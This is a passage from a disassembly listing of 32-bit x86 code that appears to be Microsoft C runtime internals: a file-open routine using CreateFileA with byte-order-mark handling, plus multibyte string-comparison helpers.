loc_40E589:				; CODE XREF: sub_40E422+132j
					; sub_40E422+136j
		mov	[ebp+var_10], 3
		jmp	short loc_40E5AF
; ---------------------------------------------------------------------------

loc_40E592:				; CODE XREF: sub_40E422+130j
		cmp	eax, 500h
		jz	short loc_40E5A8
		cmp	eax, 600h
		jz	short loc_40E604
		cmp	eax, edx
		jnz	loc_40E4C7

loc_40E5A8:				; CODE XREF: sub_40E422+175j
		mov	[ebp+var_10], 1

loc_40E5AF:				; CODE XREF: sub_40E422+15Cj
					; sub_40E422+165j ...
		mov	ecx, [ebp+arg_8]
		mov	eax, 100h
		test	ecx, eax
		mov	edi, 80h
		jz	short loc_40E5D2
		mov	edx, dword_4279B4
		not	edx
		and	edx, [ebp+arg_10]
		test	dl, dl
		js	short loc_40E5D2
		xor	edi, edi
		inc	edi

loc_40E5D2:				; CODE XREF: sub_40E422+19Cj
					; sub_40E422+1ABj
		test	cl, 40h
		jz	short loc_40E5EE
		or	[ebp+var_C], 10000h
		or	edi, 4000000h
		cmp	[ebp+var_18], 2
		jnz	short loc_40E5EE
		or	[ebp+var_8], 4

loc_40E5EE:				; CODE XREF: sub_40E422+1B3j
					; sub_40E422+1C6j
		test	cx, 1000h
		jz	short loc_40E5F7
		or	edi, eax

loc_40E5F7:				; CODE XREF: sub_40E422+1D1j
		test	cl, 20h
		jz	short loc_40E60D
		or	edi, 8000000h
		jmp	short loc_40E618
; ---------------------------------------------------------------------------

loc_40E604:				; CODE XREF: sub_40E422+144j
					; sub_40E422+17Cj
		mov	[ebp+var_10], 5
		jmp	short loc_40E5AF
; ---------------------------------------------------------------------------

loc_40E60D:				; CODE XREF: sub_40E422+1D8j
		test	cl, 10h
		jz	short loc_40E618
		or	edi, 10000000h

loc_40E618:				; CODE XREF: sub_40E422+1E0j
					; sub_40E422+1EEj
		call	sub_40F260
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_40E63B
		call	sub_405B96
		mov	[eax], ebx
		or	dword ptr [esi], 0FFFFFFFFh
		call	sub_405B83
		mov	dword ptr [eax], 18h
		jmp	short loc_40E68B
; ---------------------------------------------------------------------------

loc_40E63B:				; CODE XREF: sub_40E422+200j
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		push	[ebp+var_10]
		mov	dword ptr [eax], 1
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	ds:dword_41D06C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_40E697
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_435700[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FEh

loc_40E67E:				; CODE XREF: sub_40E422+2A2j
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		push	eax
		call	sub_405BA9

loc_40E68A:				; CODE XREF: sub_40E422+345j
		pop	ecx

loc_40E68B:				; CODE XREF: sub_40E422+217j
		call	sub_405B83
		mov	eax, [eax]
		jmp	loc_40EA5B
; ---------------------------------------------------------------------------

loc_40E697:				; CODE XREF: sub_40E422+23Fj
		push	edi
		call	ds:dword_41D144	; GetFileType
		cmp	eax, ebx
		jnz	short loc_40E6C6
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_435700[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FEh
		push	edi
		call	ds:dword_41D0D8	; CloseHandle
		jmp	short loc_40E67E
; ---------------------------------------------------------------------------

loc_40E6C6:				; CODE XREF: sub_40E422+27Ej
		cmp	eax, 2
		jnz	short loc_40E6D1
		or	[ebp+var_1], 40h
		jmp	short loc_40E6DA
; ---------------------------------------------------------------------------

loc_40E6D1:				; CODE XREF: sub_40E422+2A7j
		cmp	eax, 3
		jnz	short loc_40E6DA
		or	[ebp+var_1], 8

loc_40E6DA:				; CODE XREF: sub_40E422+2ADj
					; sub_40E422+2B2j
		push	edi
		push	dword ptr [esi]
		call	sub_40F02F
		mov	eax, [esi]
		mov	edx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	edx, 5
		mov	edx, dword_435700[edx*4]
		pop	ecx
		pop	ecx
		mov	cl, [ebp+var_1]
		or	cl, 1
		mov	[edx+eax+4], cl
		mov	eax, [esi]
		mov	edx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	edx, 5
		mov	edx, dword_435700[edx*4]
		lea	eax, [edx+eax+24h]
		and	byte ptr [eax],	80h
		mov	[ebp+var_3], cl
		and	[ebp+var_3], 48h
		mov	[ebp+var_1], cl
		jnz	loc_40E7AD
		test	cl, 80h
		jz	loc_40E9E7
		test	byte ptr [ebp+arg_8], 2
		jz	short loc_40E7AD
		push	2
		or	edi, 0FFFFFFFFh
		push	edi
		push	dword ptr [esi]
		call	sub_410B0B
		add	esp, 0Ch
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_40E76C
		call	sub_405B96
		cmp	dword ptr [eax], 83h
		jz	short loc_40E7AD

loc_40E760:				; CODE XREF: sub_40E422+379j
					; sub_40E422+389j ...
		push	dword ptr [esi]
		call	sub_408DFD
		jmp	loc_40E68A
; ---------------------------------------------------------------------------

loc_40E76C:				; CODE XREF: sub_40E422+32Fj
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [esi]
		mov	[ebp+var_4], bl
		call	sub_40A15D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40E79D
		cmp	[ebp+var_4], 1Ah
		jnz	short loc_40E79D
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		push	dword ptr [esi]
		call	sub_410957
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_40E760

loc_40E79D:				; CODE XREF: sub_40E422+35Fj
					; sub_40E422+365j
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_410B0B
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_40E760

loc_40E7AD:				; CODE XREF: sub_40E422+305j
					; sub_40E422+318j ...
		test	[ebp+var_1], 80h
		jz	loc_40E9E7
		mov	ecx, 74000h
		test	[ebp+arg_8], ecx
		mov	edi, 4000h
		jnz	short loc_40E7D5
		mov	eax, [ebp+var_14]
		and	eax, ecx
		jnz	short loc_40E7D2
		or	[ebp+arg_8], edi
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------

loc_40E7D2:				; CODE XREF: sub_40E422+3A9j
		or	[ebp+arg_8], eax

loc_40E7D5:				; CODE XREF: sub_40E422+3A2j
					; sub_40E422+3AEj
		mov	eax, [ebp+arg_8]
		and	eax, ecx
		cmp	eax, edi
		jz	short loc_40E822
		cmp	eax, 10000h
		jz	short loc_40E80E
		cmp	eax, 14000h
		jz	short loc_40E80E
		cmp	eax, 20000h
		jz	short loc_40E81C
		cmp	eax, 24000h
		jz	short loc_40E81C
		cmp	eax, 40000h
		jz	short loc_40E808
		cmp	eax, 44000h
		jnz	short loc_40E825

loc_40E808:				; CODE XREF: sub_40E422+3DDj
		mov	[ebp+var_2], 1
		jmp	short loc_40E825
; ---------------------------------------------------------------------------

loc_40E80E:				; CODE XREF: sub_40E422+3C1j
					; sub_40E422+3C8j
		mov	ecx, [ebp+arg_8]
		mov	eax, 301h
		and	ecx, eax
		cmp	ecx, eax
		jnz	short loc_40E825

loc_40E81C:				; CODE XREF: sub_40E422+3CFj
					; sub_40E422+3D6j
		mov	[ebp+var_2], 2
		jmp	short loc_40E825
; ---------------------------------------------------------------------------

loc_40E822:				; CODE XREF: sub_40E422+3BAj
		mov	[ebp+var_2], bl

loc_40E825:				; CODE XREF: sub_40E422+3E4j
					; sub_40E422+3EAj ...
		test	[ebp+arg_8], 70000h
		jz	loc_40E9E7
		test	[ebp+var_1], 40h
		mov	[ebp+var_8], ebx
		jnz	loc_40E9E7
		mov	eax, [ebp+var_C]
		mov	ecx, 0C0000000h
		and	eax, ecx
		cmp	eax, 40000000h
		jz	loc_40E90B
		cmp	eax, 80000000h
		jz	short loc_40E8D2
		cmp	eax, ecx
		jnz	loc_40E9E7
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jbe	loc_40E9E7
		cmp	eax, 2
		jbe	short loc_40E881
		cmp	eax, 4
		jbe	short loc_40E8A8

loc_40E878:				; CODE XREF: sub_40E422+500j
		cmp	eax, 5
		jnz	loc_40E9E7

loc_40E881:				; CODE XREF: sub_40E422+44Fj
					; sub_40E422+496j ...
		movsx	eax, [ebp+var_2]
		xor	edi, edi
		dec	eax
		jz	loc_40E9B4
		dec	eax
		jnz	loc_40E9E7
		mov	[ebp+var_8], 0FEFFh
		mov	[ebp+var_10], 2
		jmp	loc_40E9C2
; ---------------------------------------------------------------------------

loc_40E8A8:				; CODE XREF: sub_40E422+454j
		push	2
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_40D06E
		add	esp, 10h
		or	eax, edx
		jz	short loc_40E881
		push	ebx
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_40D06E
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E760

loc_40E8D2:				; CODE XREF: sub_40E422+437j
		push	3
		lea	eax, [ebp+var_8]
		push	eax
		push	dword ptr [esi]
		call	sub_40A15D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E760
		cmp	eax, 2
		jz	short loc_40E95B
		cmp	eax, 3
		jnz	loc_40E9A6
		cmp	[ebp+var_8], 0BFBBEFh
		jnz	short loc_40E95B
		mov	[ebp+var_2], 1
		jmp	loc_40E9E7
; ---------------------------------------------------------------------------

loc_40E90B:				; CODE XREF: sub_40E422+42Cj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jbe	loc_40E9E7
		cmp	eax, 2
		jbe	loc_40E881
		cmp	eax, 4
		ja	loc_40E878
		push	2
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_40D06E
		add	esp, 10h
		or	eax, edx
		jz	loc_40E881
		push	ebx
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_40D06E
		add	esp, 10h
		and	eax, edx

loc_40E94D:				; CODE XREF: sub_40E422+590j
		cmp	eax, 0FFFFFFFFh
		jnz	loc_40E9E7
		jmp	loc_40E760
; ---------------------------------------------------------------------------

loc_40E95B:				; CODE XREF: sub_40E422+4CCj
					; sub_40E422+4DEj
		mov	eax, [ebp+var_8]
		and	eax, 0FFFFh
		cmp	eax, 0FFFEh
		jnz	short loc_40E983
		push	dword ptr [esi]
		call	sub_408DFD
		pop	ecx
		call	sub_405B83
		push	16h
		pop	esi
		mov	[eax], esi

loc_40E97C:				; CODE XREF: sub_40E422+C6j
		mov	eax, esi
		jmp	loc_40EA5B
; ---------------------------------------------------------------------------

loc_40E983:				; CODE XREF: sub_40E422+546j
		cmp	eax, 0FEFFh
		jnz	short loc_40E9A6
		push	ebx
		push	2
		push	dword ptr [esi]
		call	sub_410B0B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E760
		mov	[ebp+var_2], 2
		jmp	short loc_40E9E7
; ---------------------------------------------------------------------------

loc_40E9A6:				; CODE XREF: sub_40E422+4D1j
					; sub_40E422+566j
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_410B0B
		add	esp, 0Ch
		jmp	short loc_40E94D
; ---------------------------------------------------------------------------

loc_40E9B4:				; CODE XREF: sub_40E422+466j
		mov	[ebp+var_8], 0BFBBEFh
		mov	[ebp+var_10], 3

loc_40E9C2:				; CODE XREF: sub_40E422+481j
					; sub_40E422+5C3j
		mov	eax, [ebp+var_10]
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_8]
		push	eax
		push	dword ptr [esi]
		call	sub_40D7D0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E760
		add	edi, eax
		cmp	[ebp+var_10], edi
		jg	short loc_40E9C2

loc_40E9E7:				; CODE XREF: sub_40E422+30Ej
					; sub_40E422+38Fj ...
		mov	eax, [esi]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_435700[ecx*4]
		lea	eax, [ecx+eax+24h]
		mov	cl, [eax]
		xor	cl, [ebp+var_2]
		and	cl, 7Fh
		xor	[eax], cl
		mov	eax, [esi]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_435700[ecx*4]
		lea	eax, [ecx+eax+24h]
		mov	ecx, [ebp+arg_8]
		mov	dl, [eax]
		shr	ecx, 10h
		shl	cl, 7
		and	dl, 7Fh
		or	cl, dl
		cmp	[ebp+var_3], bl
		mov	[eax], cl
		jnz	short loc_40EA59
		test	byte ptr [ebp+arg_8], 8
		jz	short loc_40EA59
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_435700[eax*4]
		lea	eax, [eax+esi+4]
		or	byte ptr [eax],	20h

loc_40EA59:				; CODE XREF: sub_40E422+614j
					; sub_40E422+61Aj
		mov	eax, ebx

loc_40EA5B:				; CODE XREF: sub_40E422+270j
					; sub_40E422+55Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA60	proc near		; CODE XREF: sub_40EB2C+14p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	14h
		push	offset dword_421B70
		call	__SEH_prolog4
		xor	esi, esi
		mov	[ebp+var_1C], esi
		xor	eax, eax
		mov	edi, [ebp+arg_10]
		cmp	edi, esi
		setnz	al
		cmp	eax, esi
		jnz	short loc_40EA9A

loc_40EA7F:				; CODE XREF: sub_40EA60+47j
					; sub_40EA60+5Bj
		call	sub_405B83
		push	16h
		pop	edi
		mov	[eax], edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4032F9
		add	esp, 14h
		mov	eax, edi
		jmp	short loc_40EAF3
; ---------------------------------------------------------------------------

loc_40EA9A:				; CODE XREF: sub_40EA60+1Dj
		or	dword ptr [edi], 0FFFFFFFFh
		xor	eax, eax
		cmp	[ebp+arg_0], esi
		setnz	al
		cmp	eax, esi
		jz	short loc_40EA7F
		cmp	[ebp+arg_14], esi
		jz	short loc_40EABD
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFFFE7Fh
		neg	eax
		sbb	eax, eax
		inc	eax
		jz	short loc_40EA7F

loc_40EABD:				; CODE XREF: sub_40EA60+4Cj
		mov	[ebp+ms_exc.disabled], esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, edi
		call	sub_40E422
		add	esp, 14h
		mov	[ebp+var_20], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40EAFE
		mov	eax, [ebp+var_20]
		cmp	eax, esi
		jz	short loc_40EAF3
		or	dword ptr [edi], 0FFFFFFFFh

loc_40EAF3:				; CODE XREF: sub_40EA60+38j
					; sub_40EA60+8Ej
		call	__SEH_epilog4
		retn
sub_40EA60	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EAF9	proc near		; DATA XREF: c.7ld2ih:00421B88o
		xor	esi, esi
		mov	edi, [ebp+18h]
sub_40EAF9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EAFE	proc near		; CODE XREF: sub_40EA60+84p
		cmp	[ebp-1Ch], esi
		jz	short locret_40EB2B
		cmp	[ebp-20h], esi
		jz	short loc_40EB23
		mov	eax, [edi]
		mov	ecx, eax
		sar	ecx, 5
		and	eax, 1Fh
		imul	eax, 28h
		mov	ecx, dword_435700[ecx*4]
		lea	eax, [ecx+eax+4]
		and	byte ptr [eax],	0FEh

loc_40EB23:				; CODE XREF: sub_40EAFE+8j
		push	dword ptr [edi]
		call	sub_40F23E
		pop	ecx

locret_40EB2B:				; CODE XREF: sub_40EAFE+3j
		retn
sub_40EAFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB2C	proc near		; CODE XREF: sub_4085AF+26Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40EA60
		add	esp, 18h
		pop	ebp
		retn
sub_40EB2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4A	proc near		; CODE XREF: sub_40ED64+Ap

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_14]
		call	sub_402ADF
		mov	edx, [ebp+arg_0]
		xor	esi, esi
		cmp	edx, esi
		jnz	short loc_40EB94
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_40EB8A
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40EB8A:				; CODE XREF: sub_40EB4A+37j
		mov	eax, 7FFFFFFFh
		jmp	loc_40ED61
; ---------------------------------------------------------------------------

loc_40EB94:				; CODE XREF: sub_40EB4A+19j
		push	ebx
		mov	ebx, [ebp+arg_4]
		cmp	ebx, esi
		jnz	short loc_40EBCB
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_40EBC1
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40EBC1:				; CODE XREF: sub_40EB4A+6Ej
		mov	eax, 7FFFFFFFh
		jmp	loc_40ED60
; ---------------------------------------------------------------------------

loc_40EBCB:				; CODE XREF: sub_40EB4A+50j
		mov	eax, [ebp+var_10]
		cmp	[eax+8], esi
		jnz	short loc_40EBF7
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	edx
		call	sub_402B96
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jz	loc_40ED60
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_40ED60
; ---------------------------------------------------------------------------

loc_40EBF7:				; CODE XREF: sub_40EB4A+87j
		push	edi
		mov	edi, 200h

loc_40EBFD:				; CODE XREF: sub_40EB4A+1CDj
		movzx	cx, byte ptr [edx]
		movzx	ecx, cx
		movzx	esi, cl
		inc	edx
		test	byte ptr [esi+eax+1Dh],	4
		mov	[ebp+arg_0], edx
		jz	short loc_40EC6B
		cmp	byte ptr [edx],	0
		jnz	short loc_40EC1B
		xor	esi, esi
		jmp	short loc_40EC87
; ---------------------------------------------------------------------------

loc_40EC1B:				; CODE XREF: sub_40EB4A+CBj
		push	1
		push	dword ptr [eax+4]
		lea	ecx, [ebp+var_4]
		push	2
		push	ecx
		push	2
		dec	edx
		push	edx
		push	edi
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40C6A9
		add	esp, 24h
		cmp	eax, 1
		jnz	short loc_40EC46
		movzx	ax, [ebp+var_4]
		jmp	short loc_40EC60
; ---------------------------------------------------------------------------

loc_40EC46:				; CODE XREF: sub_40EB4A+F3j
		cmp	eax, 2
		jnz	loc_40ED1C
		movzx	ax, [ebp+var_4]
		movzx	cx, [ebp+var_3]
		shl	ax, 8
		add	ax, cx

loc_40EC60:				; CODE XREF: sub_40EB4A+FAj
		inc	[ebp+arg_0]
		movzx	esi, ax
		mov	eax, [ebp+var_10]
		jmp	short loc_40EC87
; ---------------------------------------------------------------------------

loc_40EC6B:				; CODE XREF: sub_40EB4A+C6j
		movzx	edx, cx
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_40EC84
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	esi, cx
		jmp	short loc_40EC87
; ---------------------------------------------------------------------------

loc_40EC84:				; CODE XREF: sub_40EB4A+12Bj
		movzx	esi, dx

loc_40EC87:				; CODE XREF: sub_40EB4A+CFj
					; sub_40EB4A+11Fj ...
		movzx	cx, byte ptr [ebx]
		movzx	ecx, cx
		movzx	edx, cl
		inc	ebx
		test	byte ptr [edx+eax+1Dh],	4
		jz	short loc_40ECEE
		cmp	byte ptr [ebx],	0
		jnz	short loc_40ECA2
		xor	ecx, ecx
		jmp	short loc_40ED0A
; ---------------------------------------------------------------------------

loc_40ECA2:				; CODE XREF: sub_40EB4A+152j
		push	1
		push	dword ptr [eax+4]
		lea	ecx, [ebp+var_4]
		push	2
		push	ecx
		push	2
		lea	ecx, [ebx-1]
		push	ecx
		push	edi
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40C6A9
		add	esp, 24h
		cmp	eax, 1
		jnz	short loc_40ECCF
		movzx	ax, [ebp+var_4]
		jmp	short loc_40ECE5
; ---------------------------------------------------------------------------

loc_40ECCF:				; CODE XREF: sub_40EB4A+17Cj
		cmp	eax, 2
		jnz	short loc_40ED1C
		movzx	ax, [ebp+var_4]
		movzx	cx, [ebp+var_3]
		shl	ax, 8
		add	ax, cx

loc_40ECE5:				; CODE XREF: sub_40EB4A+183j
		movzx	ecx, ax
		mov	eax, [ebp+var_10]
		inc	ebx
		jmp	short loc_40ED0A
; ---------------------------------------------------------------------------

loc_40ECEE:				; CODE XREF: sub_40EB4A+14Dj
		movzx	edx, cx
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_40ED07
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	ecx, cx
		jmp	short loc_40ED0A
; ---------------------------------------------------------------------------

loc_40ED07:				; CODE XREF: sub_40EB4A+1AEj
		movzx	ecx, dx

loc_40ED0A:				; CODE XREF: sub_40EB4A+156j
					; sub_40EB4A+1A2j ...
		cmp	cx, si
		jnz	short loc_40ED3B
		test	si, si
		jz	short loc_40ED50
		mov	edx, [ebp+arg_0]
		jmp	loc_40EBFD
; ---------------------------------------------------------------------------

loc_40ED1C:				; CODE XREF: sub_40EB4A+FFj
					; sub_40EB4A+188j
		call	sub_405B83
		mov	dword ptr [eax], 16h
		cmp	[ebp+var_8], 0
		jz	short loc_40ED34
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40ED34:				; CODE XREF: sub_40EB4A+1E1j
		mov	eax, 7FFFFFFFh
		jmp	short loc_40ED5F
; ---------------------------------------------------------------------------

loc_40ED3B:				; CODE XREF: sub_40EB4A+1C3j
		sbb	eax, eax
		and	eax, 2
		dec	eax
		cmp	[ebp+var_8], 0
		jz	short loc_40ED5F
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_40ED5F
; ---------------------------------------------------------------------------

loc_40ED50:				; CODE XREF: sub_40EB4A+1C8j
		cmp	[ebp+var_8], 0
		jz	short loc_40ED5D
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40ED5D:				; CODE XREF: sub_40EB4A+20Aj
		xor	eax, eax

loc_40ED5F:				; CODE XREF: sub_40EB4A+1EFj
					; sub_40EB4A+1FBj ...
		pop	edi

loc_40ED60:				; CODE XREF: sub_40EB4A+7Cj
					; sub_40EB4A+9Bj ...
		pop	ebx

loc_40ED61:				; CODE XREF: sub_40EB4A+45j
		pop	esi
		leave
		retn
sub_40EB4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ED64	proc near		; CODE XREF: sub_4085AF+1E6p
					; sub_4085AF+203p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40EB4A
		add	esp, 0Ch
		retn
sub_40ED64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED77	proc near		; CODE XREF: sub_40EEE0+Ep

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40ED8C
		xor	eax, eax
		jmp	loc_40EEC9
; ---------------------------------------------------------------------------

loc_40ED8C:				; CODE XREF: sub_40ED77+Cj
		push	edi
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		mov	edi, [ebp+var_C]
		cmp	[edi+8], ebx
		jnz	short loc_40EDC6
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CCA9
		add	esp, 0Ch
		cmp	[ebp+var_4], bl
		jz	loc_40EEC8
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_40EEC8
; ---------------------------------------------------------------------------

loc_40EDC6:				; CODE XREF: sub_40ED77+27j
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40EDF9
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40EDEF
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40EDEF:				; CODE XREF: sub_40ED77+6Fj
		mov	eax, 7FFFFFFFh
		jmp	loc_40EEC8
; ---------------------------------------------------------------------------

loc_40EDF9:				; CODE XREF: sub_40ED77+52j
		push	esi
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_40EE2F
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_40EE25
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40EE25:				; CODE XREF: sub_40ED77+A5j
		mov	eax, 7FFFFFFFh
		jmp	loc_40EEC7
; ---------------------------------------------------------------------------

loc_40EE2F:				; CODE XREF: sub_40ED77+88j
					; sub_40ED77+13Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		dec	[ebp+arg_8]
		movzx	ecx, cx
		movzx	edx, cl
		inc	eax
		test	byte ptr [edx+edi+1Dh],	4
		mov	[ebp+arg_0], eax
		jz	short loc_40EE76
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40EE60
		movzx	eax, byte ptr [esi]
		xor	ecx, ecx
		test	byte ptr [eax+edi+1Dh],	4
		jnz	short loc_40EEB9
		movzx	eax, ax
		jmp	short loc_40EEA6
; ---------------------------------------------------------------------------

loc_40EE60:				; CODE XREF: sub_40ED77+D6j
		mov	al, [eax]
		cmp	al, bl
		jnz	short loc_40EE6A
		xor	ecx, ecx
		jmp	short loc_40EE76
; ---------------------------------------------------------------------------

loc_40EE6A:				; CODE XREF: sub_40ED77+EDj
		xor	edx, edx
		inc	[ebp+arg_0]
		mov	dh, cl
		mov	dl, al
		movzx	ecx, dx

loc_40EE76:				; CODE XREF: sub_40ED77+D1j
					; sub_40ED77+F1j
		movzx	ax, byte ptr [esi]
		movzx	eax, ax
		movzx	edx, al
		inc	esi
		test	byte ptr [edx+edi+1Dh],	4
		jz	short loc_40EEA6
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40EE91

loc_40EE8D:				; CODE XREF: sub_40ED77+121j
		xor	eax, eax
		jmp	short loc_40EEA6
; ---------------------------------------------------------------------------

loc_40EE91:				; CODE XREF: sub_40ED77+114j
		mov	dl, [esi]
		dec	[ebp+arg_8]
		cmp	dl, bl
		jz	short loc_40EE8D
		xor	ebx, ebx
		mov	bh, al
		inc	esi
		mov	bl, dl
		movzx	eax, bx
		xor	ebx, ebx

loc_40EEA6:				; CODE XREF: sub_40ED77+E7j
					; sub_40ED77+10Fj ...
		cmp	ax, cx
		jnz	short loc_40EECC
		cmp	cx, bx
		jz	short loc_40EEB9
		cmp	[ebp+arg_8], ebx
		jnz	loc_40EE2F

loc_40EEB9:				; CODE XREF: sub_40ED77+E2j
					; sub_40ED77+137j
		cmp	[ebp+var_4], bl
		jz	short loc_40EEC5
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40EEC5:				; CODE XREF: sub_40ED77+145j
		xor	eax, eax

loc_40EEC7:				; CODE XREF: sub_40ED77+B3j
					; sub_40ED77+15Ej ...
		pop	esi

loc_40EEC8:				; CODE XREF: sub_40ED77+3Dj
